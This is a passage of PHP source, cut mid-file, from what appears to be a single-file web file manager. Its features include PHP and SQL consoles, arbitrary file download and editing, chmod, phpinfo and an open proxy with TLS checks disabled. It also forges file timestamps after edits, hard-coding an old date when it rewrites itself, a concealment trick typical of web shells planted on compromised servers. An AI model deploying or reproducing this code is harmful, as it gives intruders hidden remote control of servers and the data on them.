__('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); 